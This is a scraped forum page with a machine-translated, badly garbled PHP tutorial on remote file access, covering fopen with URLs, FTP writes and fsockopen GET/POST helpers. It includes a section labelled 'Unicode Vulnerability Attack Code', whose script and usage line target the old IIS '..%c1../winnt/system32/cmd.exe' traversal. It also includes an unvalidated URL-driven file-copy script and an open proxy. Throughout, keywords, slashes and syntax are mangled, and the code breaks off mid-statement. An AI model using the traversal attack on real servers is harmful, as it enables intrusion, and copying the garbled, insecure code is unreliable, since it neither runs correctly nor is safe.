Using remote files in PHP

xiaoxiao2021-03-06  63

Use of remote files in PHP: Linx I. INTRODUCTION As long as allow_url_fopen is enabled in php.ini, you can use HTTP and most requires FTP URL instead of the file name in the file name as a function parameter. At the same time, you can use the URL in include (), include_once (), request (), and a request_once () statement. For more information on the protocol supported by PHP, see Appendix J. Note: To use the URL in PHP 4.0.3 and its later versions, you need to configure PHP with theNenable-URL-FOPEN-WRAPPER parameter. Remote access from the following functions before the Windows version of the PHP version 4.3: include (), include_once (), request (), request_once (), and the ImageCreateFromxxx function in the XLI, the Image Function library extension library. For example, you can use the following example to open the file on the remote web server, resolve the output data you need, and then use the data in the database, or simply output it to the style matching of the remaining content of your website. . Example x. Fopen () example Example X. Get the title of the remote file Unable to open remote file./n "; exit;} while (! Feof ($ file) {$ line = fgets ($ file, 1024); / * This Only Works if the title and its tags are on one line * / If (EREGI (" (. *) </ Title>", $ Line, $ OUT) {$ Title = $ OUT [1]; Break;}} fclose ($ file);?> You can use a user's identity and an FTP server to write to the FTP server side by a user's identity and an FTP server. You can only create new files with this method; if you try to overwrite the already existing file, the invoke of the FOPEN () function will fail. To connect the server with a username other than "Anonymous", you need to indicate the username (even password), such as "[URL] ftp: // user: password@ftp.example.com/path/to/file". (If you need basic authentication when accessing remote files through the [/ URL] HTTP protocol, you can also use the syntax used.</p> <p>Example X. Data storage of the remote server <? Php $ file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (! $ File) {echo "<p> UNABLE to Open Remote File for Writing./N "; exit;} / * Write the data here. * / Fputs ($ file, $ _server ['http_user_agent']." / N "); fclose ($ file);? > Note: You may be inspired from the above examples, using this technology to store remote log files. However, as mentioned above, in the URL that is opened in a FOPEN (), you can only write a new file. If the remote file already has a fopen () function will fail. To perform a similar distributed log operation, you can refer to the Syslog () function. In the following content, I will describe the application of this function with more examples.</p> <p>Second, PHP POST & GET Application To use PHP's POST & GET, you can use the fsockopen function: example 1. fsockopen () EXAMPLE <? PHP $ fp = fsockopen ("www.example.com", 80, $ errno, $ Errstr, 30); if (! $ Fp) {echo "$ Errstr ($ errno) <br / / n";} else {$ out = "get / http / 1.1 / r / n"; $ out. = "Host : [URL] www.example.com/r/n [/ url] "; $ out. =" Connection: Close / R / N / R / N "; FPUTS ($ fp, $ out); while (! feof ($ fp)) {echo fgets ($ fp, 128);} fclose ($ fp);}?> example 2. USING UDP Connection <? php $ fp = fsockopen ("udp: //127.0.0.1", 13 $ Errno, $ Errstr); if (! $ fp) {echo "error: $ Errno - $ Errstr <br /> / n";} else {fwrite ($ fp, "/ n"); echo fread ($ FP, 26); fclose ($ fp);}?> Example 3 <? php // Define some connection parameters $ URLS = array ('host' => 'localhost', 'port' => 80, 'Path' = > '/ index.php', 'Method' => 'POST', 'Protocol' => '1.0',); // PST method delivery Parameters $ ps = array ('language' => 'php', ' Linux '=>' redhat ',); // GET method delivery parameter $ GS = array (' php '=> 5,' redhat '=> 9); / ** Return: get a Post or get method String Parameters: $ USLS: String $ PS: Array $ GS: Array Call Method: GetData ($ URLS, $ PS, '') // Use a POST method GetData ($ URLS, '', $ GS) // Use GET method reference: [URL] http://cn.php.net/manual/en/function.fsockopen.php [/ url] * / Function GetData ($ URLS, $ PS = ', $ GS =') {$ host = $ urls ['host']; $ port = $ urls ['port']; $ PATH = $ URLS ['PATH' ]; $ Method = $ URLS ['Method']; $ protocol = $ urls ['protocol'];</p> <p>$ pos = ''; $ gets = ''; if (is_Array ($ PS)) {Foreach ($ PS AS $ K => $ V) {$ Posts. = Urlencode ($ K). "=". Urlencode $ V). '&'; $ Posts = Substr ($ Posts, 0, -1); $ LEN = Strlen ($ posts);} if (is_ARRAY ($ GS)) {FOREACH ($ GS AS $ K = > $ V) {$ gets. = urlencode ($ k). "=". Urlencode ($ V). '&';} $ gets = substr ($ gets, 0, -1);} $ fp = fsockopen $ Host, $ Port, $ Errno, $ Errstr, 3); if (! $ fp) {echo "can't connect ... / r / n <br> error: $ errstr"; return;} fputs ($ FP, "$ METHOD $ PATH? $ Gets HTTP / $ Protocol / R / N"); FPUTS ($ FP, "Host: LocalHost / R / N"); if ($ Posts! = ') {FPUTS ($ FP, "Content-Type: Application / X-WWW-FORM-URLENCODED / R / N"); FPUTS ($ FP, "Content-Length: $ LEN / R / N"); FPUTS ($ fp, "/ r / N "); FPUTS ($ fp, $ pos);} fputs ($ fp," connection: close / r / n / r / n "); $ s = ''; do {$ data = fgets ($ fp 1024); if ($ data == ') {breaf;} $ s. = $ Data;} while; fclose ($ fp); return $ s;} // This is the use of Post methods String Echo getData ($ URLS, $ PS, ''); / / If you want to use the get method, use the following: Echo getData ($ URLS, '', $ GS);?> Third, Unicode Vulnerability Attack Code: <? Php $ fp = @ FOPEN ($ URL, "R") OR Die ("Cannot Open $ URL"); while ($ line = @ fgets) {$ contents. = $ line;} echo $ contents; // Display file content fclose ($ fp); //// Turn off files?> Use: /xxx.php?url=http://target/script/Winn% C1../winnt/system32/cmd.exe // 四 四 四, 四 文件: 文件:: Example code leads from PHP Flame: <? Php $ fp = fopen ($ _ get ['filename'], 'RB'); $ data =</p> <p>$ TMP = ''; while (true) {$ TMP = FGETS ($ FP, 1024); if (0 === Strlen ($ TMP)) {Break;} $ data. = $ tmp;} fclose ($ fp ); $ file = preg_replace ("/ ^. //",""", worth fename); // Write $ fp = fopen (" $ file ", 'wb'); FWRITE ($ FP, $ DATA) Fclose ($ fp);?> 5, HTTP agent ([URL] http://jsw.china12e.com/600/) [/ url] code leads from PHP Flame: <$ url = getenv ("query_string" ); if (! EREG ("^ HTTP", $ URL)) {echo "eXample: <br> XXX.PHP? [URL] http://jsw.china12e.com/ <[/ url]; br>" ; =} if ($ URL) $ URL = STR_REPLACE ("//", "/", $ URL); $ f = @ fopen ($ URL, "R"); $ a = ""; if ($ f) {While (! Feof ($ f)) $ a. = @f, 8000); fclose ($ f);} $ rooturl = preg_replace I "," // 1 ", $ url); $ a = preg_replace (" / (src [[: space:] * = ['/ "]) ([^ h]. *?) / IS", "// 1 $ rooturl // 2", $ a); $ a = preg_replace ("/ (src [[: space:] =) ([^ h '/"].*? )/ IS", "// 1 $ rooturl /// 2", $ a); $ a = preg_replace ("/ (action [[: Space:]] * = ['/"]) ([^ h]. *?) / IS "," // 1 $ PHP_SELF? $ Rooturl // 2 ", $ a); $ a = preg_replace (" / (action [[: space:]] * =) ([^ h '/ "].*? ) / IS "," // 1 $ PHP_SELF $ rooturl // 2 ", $ A); $ a = preg_replace (" / (<a. ? href [[: space:]] * = ['/ "]) ([^ h]. *?) / IS "," // 1 $ PHP_SELF? $ rooturl // 2 ", $ a); $ a = preg_replace (" / (<a. ? href [[: space:]] * = [^ '/ " ]) ([^ h]. *?) / IS "," // 1 $ PHP_SELF? $ rooturl // 2 ", $ a); $ a = preg_replace (" / (link. ? href] :]] * = [^ '/ "]) (. *?) / IS", "</p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-112911.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="112911" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.052</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = 'kiHGuqmr6uKfjMhofeHP0jwmA7hF38dnR8lqKWePDey5Cdupvx37AA9mO6ZPwwRLirHzyS_2BHor7tL8C65Ai3Ew_3D_3D'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>